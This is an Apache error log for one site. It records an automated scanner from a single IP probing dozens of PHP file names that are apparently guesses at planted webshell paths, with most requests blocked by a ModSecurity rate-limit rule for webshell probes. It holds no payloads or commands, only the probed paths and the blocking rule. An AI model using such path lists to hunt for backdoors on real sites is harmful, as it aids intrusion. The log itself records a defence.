[Sat Apr 18 08:44:17.342339 2026] [:error] [pid 9863:tid 9897] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/1s7y8wt9dz.php
[Sat Apr 18 08:44:17.599625 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/bdktk.php
[Sat Apr 18 08:44:17.865995 2026] [:error] [pid 9863:tid 9881] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/v5.php
[Sat Apr 18 08:44:18.124070 2026] [:error] [pid 9863:tid 9874] [client 4.212.95.215:6106] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeLT4jjjiypiFrTucbIx1QAAAAE"]
[Sat Apr 18 08:44:24.237330 2026] [:error] [pid 34237:tid 34256] [client 4.212.95.215:49089] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeLT6BBmX4Wq5a6rxfbq7wAAAVE"]
[Sat Apr 18 08:44:26.693715 2026] [:error] [pid 34237:tid 34242] [client 4.212.95.215:6107] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeLT6hBmX4Wq5a6rxfbq_wAAAUM"]
[Sat Apr 18 08:44:27.362751 2026] [:error] [pid 34237:tid 34257] [client 4.212.95.215:6141] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeLT6xBmX4Wq5a6rxfbrBQAAAVI"]
[Sat Apr 18 08:44:28.594662 2026] [:error] [pid 34237:tid 34246] [client 4.212.95.215:6112] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLT7BBmX4Wq5a6rxfbrDAAAAUc"]
[Sat Apr 18 08:44:30.656747 2026] [:error] [pid 34237:tid 34243] [client 4.212.95.215:49113] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLT7hBmX4Wq5a6rxfbrGwAAAUQ"]
[Sat Apr 18 08:44:31.538734 2026] [:error] [pid 34237:tid 34260] [client 4.212.95.215:6137] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLT7xBmX4Wq5a6rxfbrJAAAAVU"]
[Sat Apr 18 08:44:33.555716 2026] [:error] [pid 9865:tid 9945] [client 4.212.95.215:6109] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLT8azb5knECIY-C-jYHwAAAIg"]
[Sat Apr 18 08:44:35.383884 2026] [:error] [pid 13023:tid 13046] [client 4.212.95.215:49150] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLT8_1e7hG8DAeABB9QNgAAARU"]
[Sat Apr 18 08:44:38.948940 2026] [:error] [pid 9864:tid 9918] [client 4.212.95.215:6067] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLT9oCFeowknfXHM7ldDAAAAEw"]
[Sat Apr 18 08:44:39.916930 2026] [:error] [pid 9863:tid 9879] [client 4.212.95.215:6097] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLT9zjjiypiFrTucbIx7wAAAAY"]
[Sat Apr 18 08:44:41.432858 2026] [:error] [pid 13023:tid 13036] [client 4.212.95.215:49124] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLT-f1e7hG8DAeABB9QUQAAAQs"]
[Sat Apr 18 08:44:46.409633 2026] [:error] [pid 34290:tid 34341] [client 4.212.95.215:49135] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLT_hqX6WpmmAXOBi95sQAAAdY"]
[Sat Apr 18 08:44:49.659439 2026] [:error] [pid 34288:tid 34296] [client 4.212.95.215:6085] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLUAeTIiy__PtiLmplN_AAAAYQ"]
[Sat Apr 18 08:44:50.491615 2026] [:error] [pid 34290:tid 34322] [client 4.212.95.215:6096] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLUAhqX6WpmmAXOBi95tQAAAcM"]
[Sat Apr 18 08:44:51.306091 2026] [:error] [pid 9970:tid 9993] [client 4.212.95.215:6085] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLUAyYdRLRhVmaIMx0OuAAAANM"]
[Sat Apr 18 08:44:51.982626 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:6113] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLUAzjjiypiFrTucbIx-AAAAAw"]
[Sat Apr 18 08:44:53.270640 2026] [:error] [pid 34288:tid 34315] [client 4.212.95.215:6037] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLUBeTIiy__PtiLmplOBwAAAZc"]
[Sat Apr 18 08:44:54.898184 2026] [:error] [pid 9863:tid 9883] [client 4.212.95.215:6090] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLUBjjjiypiFrTucbIx_AAAAAo"]
[Sat Apr 18 08:44:56.414943 2026] [:error] [pid 9865:tid 9959] [client 4.212.95.215:49130] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLUCKzb5knECIY-C-jYMAAAAJY"]
[Sat Apr 18 08:44:57.260393 2026] [:error] [pid 9864:tid 9915] [client 4.212.95.215:49120] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLUCYCFeowknfXHM7ldEQAAAEk"]
[Sat Apr 18 08:44:58.269603 2026] [:error] [pid 34288:tid 34314] [client 4.212.95.215:49097] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLUCuTIiy__PtiLmplOCwAAAZY"]
[Sat Apr 18 08:44:59.165418 2026] [:error] [pid 34288:tid 34302] [client 4.212.95.215:6057] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLUC-TIiy__PtiLmplODgAAAYo"]
[Sat Apr 18 08:45:00.532450 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:6051] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLUDDjjiypiFrTucbIyBQAAAAw"]
[Sat Apr 18 08:45:01.797294 2026] [:error] [pid 34288:tid 34313] [client 4.212.95.215:6044] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLUDeTIiy__PtiLmplOEwAAAZU"]
[Sat Apr 18 08:45:03.222197 2026] [:error] [pid 9865:tid 9950] [client 4.212.95.215:5978] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLUD6zb5knECIY-C-jYPQAAAI0"]
[Sat Apr 18 08:45:04.238161 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:6069] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLUEBBmX4Wq5a6rxfbrVwAAAUs"]
[Sat Apr 18 08:45:05.196174 2026] [:error] [pid 34290:tid 34324] [client 4.212.95.215:6043] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLUERqX6WpmmAXOBi95wwAAAcU"]
[Sat Apr 18 08:45:05.855108 2026] [:error] [pid 34237:tid 34244] [client 4.212.95.215:6028] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLUERBmX4Wq5a6rxfbrYAAAAUU"]
[Sat Apr 18 08:45:07.442361 2026] [:error] [pid 34237:tid 34243] [client 4.212.95.215:49119] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLUExBmX4Wq5a6rxfbrZgAAAUQ"]
[Sat Apr 18 08:45:08.141563 2026] [:error] [pid 9863:tid 9873] [client 4.212.95.215:6040] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLUFDjjiypiFrTucbIyCwAAAAA"]
[Sat Apr 18 08:45:09.584565 2026] [:error] [pid 13023:tid 13027] [client 4.212.95.215:6045] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLUFf1e7hG8DAeABB9QXwAAAQI"]
[Sat Apr 18 08:45:10.582706 2026] [:error] [pid 34290:tid 34321] [client 4.212.95.215:6024] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLUFhqX6WpmmAXOBi95xgAAAcI"]
[Sat Apr 18 08:45:11.263995 2026] [:error] [pid 34288:tid 34312] [client 4.212.95.215:6058] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLUF-TIiy__PtiLmplOGQAAAZQ"]
[Sat Apr 18 08:45:11.843014 2026] [:error] [pid 34237:tid 34260] [client 4.212.95.215:6124] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLUFxBmX4Wq5a6rxfbrawAAAVU"]
[Sat Apr 18 08:45:12.690809 2026] [:error] [pid 34237:tid 34241] [client 4.212.95.215:6071] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLUGBBmX4Wq5a6rxfbrbwAAAUI"]
[Sat Apr 18 08:45:13.350951 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:6117] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLUGTjjiypiFrTucbIyEAAAAAw"]
[Sat Apr 18 08:45:14.205037 2026] [:error] [pid 34288:tid 34299] [client 4.212.95.215:49149] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLUGuTIiy__PtiLmplOHgAAAYc"]
[Sat Apr 18 08:45:15.146391 2026] [:error] [pid 9864:tid 9922] [client 4.212.95.215:6140] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLUG4CFeowknfXHM7ldMAAAAFA"]
[Sat Apr 18 08:45:15.734960 2026] [:error] [pid 9863:tid 9883] [client 4.212.95.215:49094] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLUGzjjiypiFrTucbIyEgAAAAo"]
[Sat Apr 18 08:45:17.215533 2026] [:error] [pid 34237:tid 34263] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/gz.php
[Sat Apr 18 08:45:18.778825 2026] [:error] [pid 34237:tid 34263] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Sat Apr 18 08:45:19.045633 2026] [:error] [pid 34237:tid 34255] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/areak1.php
[Sat Apr 18 08:45:19.300530 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/qqa.php
[Sat Apr 18 08:45:19.557839 2026] [:error] [pid 34237:tid 34262] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sat Apr 18 08:45:19.812746 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/ga.php
[Sat Apr 18 08:45:20.060837 2026] [:error] [pid 34237:tid 34254] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/xozx.php
[Sat Apr 18 08:45:20.312069 2026] [:error] [pid 34237:tid 34240] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/1100.php
[Sat Apr 18 08:45:20.652778 2026] [:error] [pid 34237:tid 34247] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Sat Apr 18 08:45:20.901398 2026] [:error] [pid 34237:tid 34253] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Apr 18 08:45:21.163696 2026] [:error] [pid 34237:tid 34255] [client 4.212.95.215:6023] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Sat Apr 18 08:45:21.428539 2026] [:error] [pid 34237:tid 34259] [client 4.212.95.215:6023] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLUIRBmX4Wq5a6rxfbrkAAAAVQ"]
[Sat Apr 18 08:45:23.422279 2026] [:error] [pid 34288:tid 34293] [client 4.212.95.215:6072] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLUI-TIiy__PtiLmplOSAAAAYE"]
[Sat Apr 18 08:45:24.432664 2026] [:error] [pid 13023:tid 13030] [client 4.212.95.215:6062] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLUJP1e7hG8DAeABB9QbQAAAQU"]
[Sat Apr 18 08:45:25.235412 2026] [:error] [pid 34237:tid 34258] [client 4.212.95.215:6120] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLUJRBmX4Wq5a6rxfbrmwAAAVM"]
[Sat Apr 18 08:45:25.984342 2026] [:error] [pid 34290:tid 34330] [client 4.212.95.215:6034] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLUJRqX6WpmmAXOBi953gAAAcs"]
[Sat Apr 18 08:45:26.952562 2026] [:error] [pid 9865:tid 9952] [client 4.212.95.215:6138] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLUJqzb5knECIY-C-jYWgAAAI8"]
[Sat Apr 18 08:45:27.853860 2026] [:error] [pid 34290:tid 34343] [client 4.212.95.215:49133] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLUJxqX6WpmmAXOBi954wAAAdg"]
[Sat Apr 18 08:45:29.216103 2026] [:error] [pid 34290:tid 34326] [client 4.212.95.215:5996] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLUKRqX6WpmmAXOBi956gAAAcc"]
[Sat Apr 18 08:45:29.983080 2026] [:error] [pid 34288:tid 34316] [client 4.212.95.215:49116] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLUKeTIiy__PtiLmplOSwAAAZg"]
[Sat Apr 18 08:45:30.876086 2026] [:error] [pid 34237:tid 34256] [client 4.212.95.215:6020] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLUKhBmX4Wq5a6rxfbrogAAAVE"]
[Sat Apr 18 08:45:31.619550 2026] [:error] [pid 34288:tid 34314] [client 4.212.95.215:6085] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLUK-TIiy__PtiLmplOTwAAAZY"]
